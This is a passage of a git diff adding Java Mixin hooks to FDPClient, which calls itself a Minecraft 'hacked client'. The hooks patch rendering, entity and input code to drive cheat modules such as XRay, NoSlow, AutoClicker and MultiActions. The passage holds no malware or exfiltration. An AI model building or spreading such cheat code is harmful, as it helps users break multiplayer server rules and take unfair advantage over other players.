(double)pos.getY() + 0.09375D, (double)pos.getZ() + 0.9375D); + return new AxisAlignedBB((double)pos.getX() + 0.0D, (double)pos.getY() + 0.0D, (double)pos.getZ() + 0.0D, (double)pos.getX() + 1.0D, (double)pos.getY() + 0.015625D, (double)pos.getZ() + 1.0D); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/block/MixinBlockModelRenderer.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/block/MixinBlockModelRenderer.java new file mode 100644 index 0000000..9db131c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/block/MixinBlockModelRenderer.java @@ -0,0 +1,39 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.block; + +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.features.module.modules.visual.XRay; +import net.minecraft.block.Block; +import net.minecraft.client.renderer.BlockModelRenderer; +import net.minecraft.client.renderer.WorldRenderer; +import net.minecraft.client.resources.model.IBakedModel; +import net.minecraft.util.BlockPos; +import net.minecraft.world.IBlockAccess; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable; + +@Mixin(BlockModelRenderer.class) +public class MixinBlockModelRenderer { + + @Inject(method = "renderModelAmbientOcclusion", at = @At("HEAD"), cancellable = true) + private void renderModelAmbientOcclusion(IBlockAccess blockAccessIn, IBakedModel modelIn, Block blockIn, BlockPos blockPosIn, WorldRenderer worldRendererIn, boolean checkSide, final CallbackInfoReturnable<Boolean> booleanCallbackInfoReturnable) { + final XRay xray = FDPClient.moduleManager.getModule(XRay.class); + + if (xray.getState() && !xray.getXrayBlocks().contains(blockIn)) + booleanCallbackInfoReturnable.setReturnValue(false); + } + + @Inject(method = "renderModelStandard", at = @At("HEAD"), cancellable = true) + private void renderModelStandard(IBlockAccess blockAccessIn, IBakedModel modelIn, Block blockIn, BlockPos blockPosIn, WorldRenderer worldRendererIn, boolean checkSides, final CallbackInfoReturnable<Boolean> booleanCallbackInfoReturnable) { + final XRay xray = FDPClient.moduleManager.getModule(XRay.class); + + if (xray.getState() && !xray.getXrayBlocks().contains(blockIn)) + booleanCallbackInfoReturnable.setReturnValue(false); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/block/MixinBlockSoulSand.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/block/MixinBlockSoulSand.java new file mode 100644 index 0000000..7823e15 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/block/MixinBlockSoulSand.java @@ -0,0 +1,27 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.block; + +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.features.module.modules.movement.NoSlow; +import net.minecraft.block.BlockSoulSand; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +@Mixin(BlockSoulSand.class) +public class MixinBlockSoulSand { + + @Inject(method = "onEntityCollidedWithBlock", at = @At("HEAD"), cancellable = true) + private void onEntityCollidedWithBlock(CallbackInfo callbackInfo) { + final NoSlow noSlow = FDPClient.moduleManager.getModule(NoSlow.class); + + if(noSlow.getState() && noSlow.getSoulSandValue().get()) { + callbackInfo.cancel(); + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/client/MixinEnumFacing.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/client/MixinEnumFacing.java new file mode 100644 index 0000000..37d3772 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/client/MixinEnumFacing.java @@ -0,0 +1,54 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.client; + +import net.ccbluex.liquidbounce.injection.access.StaticStorage; +import net.minecraft.util.EnumFacing; +import org.spongepowered.asm.mixin.Final; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Overwrite; +import org.spongepowered.asm.mixin.Shadow; + +import java.util.Random; + +@Mixin(value=EnumFacing.class) +public class MixinEnumFacing { + @Shadow + @Final + private int opposite; + + @Overwrite + public EnumFacing getOpposite() { + return StaticStorage.facings()[this.opposite]; + } + + @Overwrite + public static EnumFacing getFront(int n) { + return StaticStorage.facings()[n % StaticStorage.facings().length]; + } + + @Overwrite + public static EnumFacing random(Random random) { + return StaticStorage.facings()[random.nextInt(StaticStorage.facings().length)]; + } + + @Overwrite + public static EnumFacing getFacingFromVector(float f, float f2, float f3) { + EnumFacing enumFacing = EnumFacing.NORTH; + float f4 = Float.MIN_VALUE; + for (EnumFacing enumFacing2 : StaticStorage.facings()) { + float f5 = f * (float)enumFacing2.getDirectionVec().getX() + f2 * (float)enumFacing2.getDirectionVec().getY() + f3 * (float)enumFacing2.getDirectionVec().getZ(); + if (!(f5 > f4)) continue; + f4 = f5; + enumFacing = enumFacing2; + } + return enumFacing; + } + + @Overwrite + public static EnumFacing getFacingFromAxis(EnumFacing.AxisDirection axisDirection, EnumFacing.Axis axis) { + for (EnumFacing enumFacing : StaticStorage.facings()) { + if (enumFacing.getAxisDirection() != axisDirection || enumFacing.getAxis() != axis) continue; + return enumFacing; + } + throw new IllegalArgumentException("No such direction: " + axisDirection + " " + axis); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/client/MixinGameSettings.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/client/MixinGameSettings.java new file mode 100644 index 0000000..b5b6b4f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/client/MixinGameSettings.java @@ -0,0 +1,25 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.client; + +import net.minecraft.client.settings.GameSettings; +import net.minecraft.client.settings.KeyBinding; +import org.lwjgl.input.Keyboard; +import org.lwjgl.input.Mouse; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Overwrite; + +@Mixin(GameSettings.class) +public class MixinGameSettings { + /** + * @author asbyth + * @reason Resolve Chat Key bound to a unicode char causing crashes while creative inventory is opened (MC-102867) + */ + @Overwrite + public static boolean isKeyDown(KeyBinding key) { + int keyCode = key.getKeyCode(); + if (keyCode != 0 && keyCode < 256) { + return keyCode < 0 ? Mouse.isButtonDown(keyCode + 100) : Keyboard.isKeyDown(keyCode); + } else { + return false; + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/client/MixinItemStack.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/client/MixinItemStack.java new file mode 100644 index 0000000..75b82f3 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/client/MixinItemStack.java @@ -0,0 +1,29 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.client; + +import net.ccbluex.liquidbounce.injection.access.IItemStack; +import net.minecraft.item.ItemStack; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +@Mixin(ItemStack.class) +public class MixinItemStack implements IItemStack { + + private long itemDelay; + + @Inject(method = "<init>(Lnet/minecraft/item/Item;IILnet/minecraft/nbt/NBTTagCompound;)V", at = @At("RETURN")) + private void init(final CallbackInfo callbackInfo) { + this.itemDelay = System.currentTimeMillis(); + } + + @Override + public long getItemDelay() { + return itemDelay; + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/client/MixinLanguageManager.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/client/MixinLanguageManager.java new file mode 100644 index 0000000..773bc8c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/client/MixinLanguageManager.java @@ -0,0 +1,16 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.client; + +import net.minecraft.client.resources.Language; +import net.minecraft.client.resources.LanguageManager; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +@Mixin(LanguageManager.class) +public class MixinLanguageManager { + @Inject(method = "setCurrentLanguage", at = @At("HEAD")) + public void setCurrentLanguage(Language p_setCurrentLanguage_1_, CallbackInfo ci) { + net.ccbluex.liquidbounce.ui.i18n.LanguageManager.INSTANCE.switchLanguage(p_setCurrentLanguage_1_.getLanguageCode()); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/client/MixinMinecraft.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/client/MixinMinecraft.java new file mode 100644 index 0000000..2ecc95f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/client/MixinMinecraft.java @@ -0,0 +1,298 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.client; +import cc.paimonmc.viamcp.ViaMCP; +import cc.paimonmc.viamcp.utils.AttackOrder; +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.event.*; +import net.ccbluex.liquidbounce.features.module.modules.client.SoundModule; +import net.ccbluex.liquidbounce.features.module.modules.combat.AutoClicker; +import net.ccbluex.liquidbounce.features.module.modules.exploit.MultiActions; +import net.ccbluex.liquidbounce.injection.access.StaticStorage; +import net.ccbluex.liquidbounce.injection.forge.mixins.accessors.MinecraftForgeClientAccessor; +import net.ccbluex.liquidbounce.utils.CPSCounter; +import net.ccbluex.liquidbounce.utils.ClientUtils; +import net.ccbluex.liquidbounce.utils.render.ImageUtils; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.minecraft.block.material.Material; +import net.minecraft.client.LoadingScreenRenderer; +import net.minecraft.client.Minecraft; +import net.minecraft.client.entity.EntityPlayerSP; +import net.minecraft.client.gui.GuiScreen; +import net.minecraft.client.gui.ScaledResolution; +import net.minecraft.client.gui.inventory.GuiContainer; +import net.minecraft.client.main.GameConfiguration; +import net.minecraft.client.multiplayer.PlayerControllerMP; +import net.minecraft.client.multiplayer.WorldClient; +import net.minecraft.client.particle.EffectRenderer; +import net.minecraft.client.settings.GameSettings; +import net.minecraft.entity.Entity; +import net.minecraft.entity.player.EntityPlayer; +import net.minecraft.util.BlockPos; +import net.minecraft.util.MovingObjectPosition; +import net.minecraft.util.Util; +import net.minecraftforge.client.MinecraftForgeClient; +import org.lwjgl.Sys; +import org.lwjgl.input.Keyboard; +import org.lwjgl.opengl.Display; +import org.objectweb.asm.Opcodes; +import org.spongepowered.asm.mixin.*; +import org.spongepowered.asm.mixin.injection.*; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +import javax.imageio.ImageIO; +import java.awt.image.BufferedImage; +import java.io.File; +import java.nio.ByteBuffer; + +@Mixin(Minecraft.class) +public abstract class MixinMinecraft { + + @Shadow + public GuiScreen currentScreen; + + @Shadow + public boolean skipRenderWorld; + + @Shadow + public int leftClickCounter; + + @Shadow + public MovingObjectPosition objectMouseOver; + + @Shadow + public WorldClient theWorld; + + @Shadow + public EntityPlayerSP thePlayer; + + @Shadow + public EffectRenderer effectRenderer; + + @Shadow + public PlayerControllerMP playerController; + + @Shadow + public int rightClickDelayTimer; + + @Shadow + public GameSettings gameSettings; + + @Shadow + @Final + public File mcDataDir; + + @Shadow + public int displayWidth; + + @Shadow + public int displayHeight; + @Shadow + private boolean fullscreen; + + @Unique + public boolean fDP1$sendClickBlockToController; + + private float prevYaw = 0.0f; + + @Inject(method = "<init>", at = @At("RETURN")) + public void injectConstructor(GameConfiguration p_i45547_1_, CallbackInfo ci) { + ViaMCP.staticInit(); + } + + @Inject(method = "run", at = @At("HEAD")) + private void init(CallbackInfo callbackInfo) { + if(displayWidth < 1067) + displayWidth = 1067; + + if(displayHeight < 622) + displayHeight = 622; + } + + + @Inject(method = "startGame", at = @At(value = "INVOKE", target = "Lnet/minecraft/client/Minecraft;checkGLError(Ljava/lang/String;)V", ordinal = 2, shift = At.Shift.AFTER)) + private void startGame(CallbackInfo callbackInfo) { + FDPClient.INSTANCE.initClient(); + } + + @Inject(method = "createDisplay", at = @At(value = "INVOKE", target = "Lorg/lwjgl/opengl/Display;setTitle(Ljava/lang/String;)V", shift = At.Shift.AFTER)) + private void createDisplay(CallbackInfo callbackInfo) { + ClientUtils.INSTANCE.setTitle(); + } + + + @Inject(method = "displayGuiScreen", at = @At(value = "FIELD", target = "Lnet/minecraft/client/Minecraft;currentScreen:Lnet/minecraft/client/gui/GuiScreen;", shift = At.Shift.AFTER)) + private void displayGuiScreen(CallbackInfo callbackInfo) { + if (currentScreen instanceof net.minecraft.client.gui.GuiMainMenu || (currentScreen != null && currentScreen.getClass().getName().startsWith("net.labymod") && currentScreen.getClass().getSimpleName().equals("ModGuiMainMenu"))) { + currentScreen = FDPClient.mainMenu; + + ScaledResolution scaledResolution = new ScaledResolution(Minecraft.getMinecraft()); + currentScreen.setWorldAndResolution(Minecraft.getMinecraft(), scaledResolution.getScaledWidth(), scaledResolution.getScaledHeight()); + skipRenderWorld = false; + } + + FDPClient.eventManager.callEvent(new ScreenEvent(currentScreen)); + } + + private long lastFrame = getTime(); + + @Inject(method = "runGameLoop", at = @At("HEAD")) + private void runGameLoop(final CallbackInfo callbackInfo) { + final long currentTime = getTime(); + final int deltaTime = (int) (currentTime - lastFrame); + lastFrame = currentTime; + + RenderUtils.deltaTime = deltaTime; + } + + @Inject(method = "runTick", at = @At("HEAD")) + private void runTick(final CallbackInfo callbackInfo) { + StaticStorage.scaledResolution = new ScaledResolution((Minecraft) (Object) this); + } + + public long getTime() { + return (Sys.getTime() * 1000) / Sys.getTimerResolution(); + } + + @Inject(method = "runTick", at = @At("HEAD")) + private void injectGameRuntimeTicks(CallbackInfo ci) { + ClientUtils.INSTANCE.setRunTimeTicks(ClientUtils.INSTANCE.getRunTimeTicks() + 1); + } + + @Inject(method = "runTick", at = @At(value = "FIELD", target = "Lnet/minecraft/client/Minecraft;joinPlayerCounter:I", shift = At.Shift.BEFORE, ordinal = 0)) + private void onTick(final CallbackInfo callbackInfo) { + FDPClient.eventManager.callEvent(new TickEvent()); + } + + @Inject(method = "dispatchKeypresses", at = @At(value = "HEAD")) + private void onKey(CallbackInfo callbackInfo) { + try { + if (Keyboard.getEventKeyState() && (currentScreen == null || (SoundModule.INSTANCE.getToggleIgnoreScreenValue().get() && this.currentScreen instanceof GuiContainer))) + FDPClient.eventManager.callEvent(new KeyEvent(Keyboard.getEventKey() == 0 ? Keyboard.getEventCharacter() + 256 : Keyboard.getEventKey())); + } catch (Exception e) { + //e.printStackTrace(); + } + } + + @Inject(method = "sendClickBlockToController", at = @At(value = "INVOKE", target = "Lnet/minecraft/util/MovingObjectPosition;getBlockPos()Lnet/minecraft/util/BlockPos;")) + private void onClickBlock(CallbackInfo callbackInfo) { + if (this.leftClickCounter == 0 && theWorld.getBlockState(objectMouseOver.getBlockPos()).getBlock().getMaterial() != Material.air) { + FDPClient.eventManager.callEvent(new ClickBlockEvent(objectMouseOver.getBlockPos(), this.objectMouseOver.sideHit)); + } + } + + @Inject(method = "shutdown", at = @At("HEAD")) + private void shutdown(CallbackInfo callbackInfo) { + FDPClient.INSTANCE.stopClient(); + } + + @Inject(method = "clickMouse", at = @At("HEAD")) + private void clickMouse(CallbackInfo callbackInfo) { + CPSCounter.registerClick(CPSCounter.MouseButton.LEFT); + if (FDPClient.moduleManager.getModule(AutoClicker.class).getState()) + leftClickCounter = 0; + } + + @Redirect( + method = "clickMouse", + at = @At(value = "INVOKE", target = "Lnet/minecraft/client/multiplayer/PlayerControllerMP;attackEntity(Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/entity/Entity;)V") + ) + public void fixAttackOrder_VanillaAttack(PlayerControllerMP controller, EntityPlayer player, Entity e) { + AttackOrder.sendFixedAttack(this.thePlayer, this.objectMouseOver.entityHit); + } + + @Inject(method = "middleClickMouse", at = @At("HEAD")) + private void middleClickMouse(CallbackInfo ci) { + CPSCounter.registerClick(CPSCounter.MouseButton.MIDDLE); + } + + @Inject(method = "rightClickMouse", at = @At(value = "FIELD", target = "Lnet/minecraft/client/Minecraft;rightClickDelayTimer:I", shift = At.Shift.AFTER)) + private void rightClickMouse(final CallbackInfo callbackInfo) { + CPSCounter.registerClick(CPSCounter.MouseButton.RIGHT); + } + + @Inject(method = "loadWorld(Lnet/minecraft/client/multiplayer/WorldClient;Ljava/lang/String;)V", at = @At("HEAD")) + private void loadWorld(WorldClient p_loadWorld_1_, String p_loadWorld_2_, final CallbackInfo callbackInfo) { + FDPClient.eventManager.callEvent(new WorldEvent(p_loadWorld_1_)); + } + + @Inject(method = "loadWorld(Lnet/minecraft/client/multiplayer/WorldClient;Ljava/lang/String;)V", at = @At(value = "FIELD", target = "Lnet/minecraft/client/Minecraft;theWorld:Lnet/minecraft/client/multiplayer/WorldClient;", opcode = Opcodes.PUTFIELD, shift = At.Shift.AFTER)) + private void clearRenderCache(CallbackInfo ci) { + MinecraftForgeClient.getRenderPass(); + MinecraftForgeClientAccessor.getRegionCache().invalidateAll(); + MinecraftForgeClientAccessor.getRegionCache().cleanUp(); + } + + /** + * @author CCBlueX + * @reason + */ + @Overwrite + private void sendClickBlockToController(boolean leftClick) { + if (!leftClick) + this.leftClickCounter = 0; + + if (this.leftClickCounter <= 0 && (!this.thePlayer.isUsingItem() || FDPClient.moduleManager.getModule(MultiActions.class).getState())) { + if (leftClick && this.objectMouseOver != null && this.objectMouseOver.typeOfHit == MovingObjectPosition.MovingObjectType.BLOCK) { + BlockPos blockPos = this.objectMouseOver.getBlockPos(); + + if (this.leftClickCounter == 0) + FDPClient.eventManager.callEvent(new ClickBlockEvent(blockPos, this.objectMouseOver.sideHit)); + + + if (this.theWorld.getBlockState(blockPos).getBlock().getMaterial() != Material.air && this.playerController.onPlayerDamageBlock(blockPos, this.objectMouseOver.sideHit)) { + this.effectRenderer.addBlockHitEffects(blockPos, this.objectMouseOver.sideHit); + this.thePlayer.swingItem(); + } + } else { + this.playerController.resetBlockRemoving(); + } + } + } + + + @Inject(method = "setWindowIcon", at = @At("HEAD"), cancellable = true) + private void setWindowIcon(CallbackInfo callbackInfo) { + try { + if (Util.getOSType() != Util.EnumOS.OSX) { + BufferedImage image = ImageIO.read(this.getClass().getResourceAsStream("/assets/minecraft/fdpclient/misc/icon.png")); + ByteBuffer bytebuffer = ImageUtils.readImageToBuffer(ImageUtils.resizeImage(image, 16, 16)); + if (bytebuffer == null) { + throw new Exception("Error when loading image."); + } else { + Display.setIcon(new ByteBuffer[]{bytebuffer, ImageUtils.readImageToBuffer(image)}); + callbackInfo.cancel(); + } + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + @Redirect(method = "loadWorld(Lnet/minecraft/client/multiplayer/WorldClient;Ljava/lang/String;)V", at = @At(value = "INVOKE", target = "Lnet/minecraft/client/LoadingScreenRenderer;resetProgressAndMessage(Ljava/lang/String;)V")) + public void loadWorld(LoadingScreenRenderer loadingScreenRenderer, String string) { + } + + @Redirect(method = "loadWorld(Lnet/minecraft/client/multiplayer/WorldClient;Ljava/lang/String;)V", at = @At(value = "INVOKE", target = "Lnet/minecraft/client/LoadingScreenRenderer;displayLoadingString(Ljava/lang/String;)V")) + public void loadWorld1(LoadingScreenRenderer loadingScreenRenderer, String string) { + } + + @Redirect(method = "loadWorld(Lnet/minecraft/client/multiplayer/WorldClient;Ljava/lang/String;)V", at = @At(value = "INVOKE", target = "Ljava/lang/System;gc()V", remap = false)) + public void loadWorld2() { + } + + @Inject(method = "toggleFullscreen()V", at = @At(value = "INVOKE", target = "Lorg/lwjgl/opengl/Display;setFullscreen(Z)V", shift = At.Shift.AFTER, remap = false), require = 1, allow = 1) + private void toggleFullscreen(CallbackInfo callbackInfo) { + if (!this.fullscreen) { + Display.setResizable(false); + Display.setResizable(true); + } + } + @ModifyConstant(method = "getLimitFramerate", constant = @Constant(intValue = 30)) + public int getLimitFramerate(int constant) { + return 60; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/client/MixinResourcePackRepository.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/client/MixinResourcePackRepository.java new file mode 100644 index 0000000..a6e6ec7 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/client/MixinResourcePackRepository.java @@ -0,0 +1,54 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.client; + +import com.google.common.collect.Lists; +import net.minecraft.client.resources.ResourcePackRepository; +import org.apache.commons.io.FileUtils; +import org.apache.commons.io.comparator.LastModifiedFileComparator; +import org.apache.commons.io.filefilter.TrueFileFilter; +import org.apache.logging.log4j.Logger; +import org.spongepowered.asm.mixin.Final; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Overwrite; +import org.spongepowered.asm.mixin.Shadow; + +import java.io.File; +import java.util.List; + +@Mixin(ResourcePackRepository.class) +public class MixinResourcePackRepository { + + @Shadow + @Final + private File dirServerResourcepacks; + + @Shadow + @Final + private static Logger logger; + + /** + * @author Mojang + * @reason Fix a bug + */ + @Overwrite + private void deleteOldServerResourcesPacks() { + try { + List<File> lvt_1_1_ = Lists.newArrayList(FileUtils.listFiles(this.dirServerResourcepacks, TrueFileFilter.TRUE, null)); + lvt_1_1_.sort(LastModifiedFileComparator.LASTMODIFIED_REVERSE); + int lvt_2_1_ = 0; + + for (File lvt_4_1_ : lvt_1_1_) { + if (lvt_2_1_++ >= 10) { + logger.info("Deleting old server resource pack " + lvt_4_1_.getName()); + FileUtils.deleteQuietly(lvt_4_1_); + } + } + }catch(final Throwable e) { + e.printStackTrace(); + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/client/MixinWorldClient.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/client/MixinWorldClient.java new file mode 100644 index 0000000..7440b99 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/client/MixinWorldClient.java @@ -0,0 +1,23 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.client; + +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.features.module.modules.visual.TrueSight; +import net.minecraft.client.multiplayer.WorldClient; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.ModifyVariable; + +@Mixin(WorldClient.class) +public class MixinWorldClient { + + @ModifyVariable(method = "doVoidFogParticles", at = @At(value = "INVOKE", target = "Lnet/minecraft/block/Block;randomDisplayTick(Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V", shift = At.Shift.AFTER), ordinal = 0) + private boolean handleBarriers(final boolean flag) { + final TrueSight trueSight = FDPClient.moduleManager.getModule(TrueSight.class); + return flag || trueSight.getState() && trueSight.getBarriersValue().get(); + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/entity/MixinAbstractClientPlayer.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/entity/MixinAbstractClientPlayer.java new file mode 100644 index 0000000..cbf8f3c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/entity/MixinAbstractClientPlayer.java @@ -0,0 +1,74 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.entity; + +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.features.module.modules.other.NameProtect; +import net.ccbluex.liquidbounce.features.module.modules.visual.CameraModule; +import net.ccbluex.liquidbounce.ui.cape.GuiCapeManager; +import net.minecraft.client.Minecraft; +import net.minecraft.client.entity.AbstractClientPlayer; +import net.minecraft.client.resources.DefaultPlayerSkin; +import net.minecraft.init.Items; +import net.minecraft.util.ResourceLocation; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable; + +import java.util.Objects; + +import static net.ccbluex.liquidbounce.utils.MinecraftInstance.mc; + +@Mixin(AbstractClientPlayer.class) +public abstract class MixinAbstractClientPlayer extends MixinEntityPlayer { + + @Inject(method = "getLocationCape", at = @At("HEAD"), cancellable = true) + private void getCape(CallbackInfoReturnable<ResourceLocation> callbackInfoReturnable) { + if(!getUniqueID().equals(Minecraft.getMinecraft().thePlayer.getUniqueID())) + return; + + + if(GuiCapeManager.INSTANCE.getNowCape()!=null) + callbackInfoReturnable.setReturnValue(GuiCapeManager.INSTANCE.getNowCape().getCape()); + } + + @Inject(method = "getFovModifier", at = @At("HEAD"), cancellable = true) + private void getFovModifier(CallbackInfoReturnable<Float> callbackInfoReturnable) { + final CameraModule fovModule = FDPClient.moduleManager.getModule(CameraModule.class); + + if(Objects.requireNonNull(fovModule).getState() && fovModule.getNofov().get()) { + float newFOV = fovModule.getNofovValue().get(); + + if(!this.isUsingItem()) { + callbackInfoReturnable.setReturnValue(newFOV); + return; + } + + if(this.getItemInUse().getItem() != Items.bow) { + callbackInfoReturnable.setReturnValue(newFOV); + return; + } + + int i = this.getItemInUseDuration(); + float f1 = (float) i / 20.0f; + f1 = f1 > 1.0f ? 1.0f : f1 * f1; + newFOV *= 1.0f - f1 * 0.15f; + callbackInfoReturnable.setReturnValue(newFOV); + } + } + @Inject(method = "getLocationSkin()Lnet/minecraft/util/ResourceLocation;", at = @At("HEAD"), cancellable = true) + private void getSkin(CallbackInfoReturnable<ResourceLocation> callbackInfoReturnable) { + final NameProtect nameProtect = NameProtect.INSTANCE; + + if (nameProtect.handleEvents() && nameProtect.getSkinProtect().get()) { + if (!nameProtect.getAllPlayers().get() && !Objects.equals(getGameProfile().getName(), mc.thePlayer.getGameProfile().getName())) + return; + + callbackInfoReturnable.setReturnValue(DefaultPlayerSkin.getDefaultSkin(getUniqueID())); + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/entity/MixinEntity.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/entity/MixinEntity.java new file mode 100644 index 0000000..3fa6c3b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/entity/MixinEntity.java @@ -0,0 +1,248 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.entity; + +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.event.StrafeEvent; +import net.ccbluex.liquidbounce.features.module.modules.client.Performance; +import net.ccbluex.liquidbounce.features.module.modules.combat.HitBox; +import net.ccbluex.liquidbounce.features.module.modules.movement.NoFluid; +import net.ccbluex.liquidbounce.features.module.modules.movement.StrafeFix; +import net.ccbluex.liquidbounce.features.module.modules.exploit.ViaVersionFix; +import net.ccbluex.liquidbounce.injection.access.IWorld; +import net.ccbluex.liquidbounce.utils.EntityUtils; +import net.minecraft.block.Block; +import net.minecraft.client.Minecraft; +import net.minecraft.crash.CrashReportCategory; +import net.minecraft.entity.Entity; +import net.minecraft.util.AxisAlignedBB; +import net.minecraft.util.BlockPos; +import net.minecraft.util.MathHelper; +import net.minecraft.util.Vec3; +import net.minecraft.world.World; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Shadow; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable; + +import java.util.Random; +import java.util.UUID; + +@Mixin(Entity.class) +public abstract class MixinEntity { + + @Shadow + public double posX; + + @Shadow + public double posY; + + @Shadow + public double posZ; + + @Shadow + public abstract boolean isSprinting(); + + @Shadow + public float rotationPitch; + + @Shadow + public float rotationYaw; + + @Shadow + public abstract AxisAlignedBB getEntityBoundingBox(); + + @Shadow + public Entity ridingEntity; + + @Shadow + public double motionX; + + @Shadow + public double motionY; + + @Shadow + public double motionZ; + + @Shadow + public boolean onGround; + + @Shadow + public boolean isAirBorne; + + @Shadow + public boolean noClip; + + @Shadow + public World worldObj; + + @Shadow + public void moveEntity(double x, double y, double z) { + } + + 